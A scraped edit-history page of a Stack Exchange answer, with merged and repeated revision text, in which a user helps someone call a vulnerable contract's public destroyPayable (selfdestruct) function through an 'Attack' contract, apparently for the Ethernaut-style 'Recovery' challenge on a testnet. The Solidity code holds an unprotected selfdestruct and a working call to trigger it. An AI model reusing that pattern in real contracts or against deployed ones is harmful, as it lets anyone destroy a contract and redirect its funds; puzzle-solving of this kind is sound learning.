Skip to main content
added detail
Source Link
sola24
  • 1.2k
  • 4
  • 21

try taking payable out of the function signature

I have done it but still it's not working

trythat's strange it didn't work for you taking payablepayable out of the function signature. I was able to get it to work that way. Deployed to mumbai and tested ok. If you're still having problems, you could use an interface instead, but it should work

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract RecoverySimpleToken {
  event POL(string message);

  // clean up after ourselves
  function destroyPayable(address payable to) public {
    selfdestruct(to);
  }

  function pol() external returns (string memory) {
    string memory message = "still here";
    emit POL(message);
    return message;
  }
}


contract Attack {

    address public victim;

    function setAddr(address payable _addr) external {
      victim = _addr;
    }

    function attack(address _to) public{
        (bool success, ) = victim.call(abi.encodeWithSignature("destroyPayable(address)", _to));
        require(success, "Transaction failed");
    }

}

try taking payable out of the function signature

try taking payable out of the function signature

I have done it but still it's not working

that's strange it didn't work for you taking payable out. I was able to get it to work that way. Deployed to mumbai and tested ok. If you're still having problems, you could use an interface instead, but it should work

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract RecoverySimpleToken {
  event POL(string message);

  // clean up after ourselves
  function destroyPayable(address payable to) public {
    selfdestruct(to);
  }

  function pol() external returns (string memory) {
    string memory message = "still here";
    emit POL(message);
    return message;
  }
}


contract Attack {

    address public victim;

    function setAddr(address payable _addr) external {
      victim = _addr;
    }

    function attack(address _to) public{
        (bool success, ) = victim.call(abi.encodeWithSignature("destroyPayable(address)", _to));
        require(success, "Transaction failed");
    }

}
Source Link
sola24
  • 1.2k
  • 4
  • 21

try taking payable out of the function signature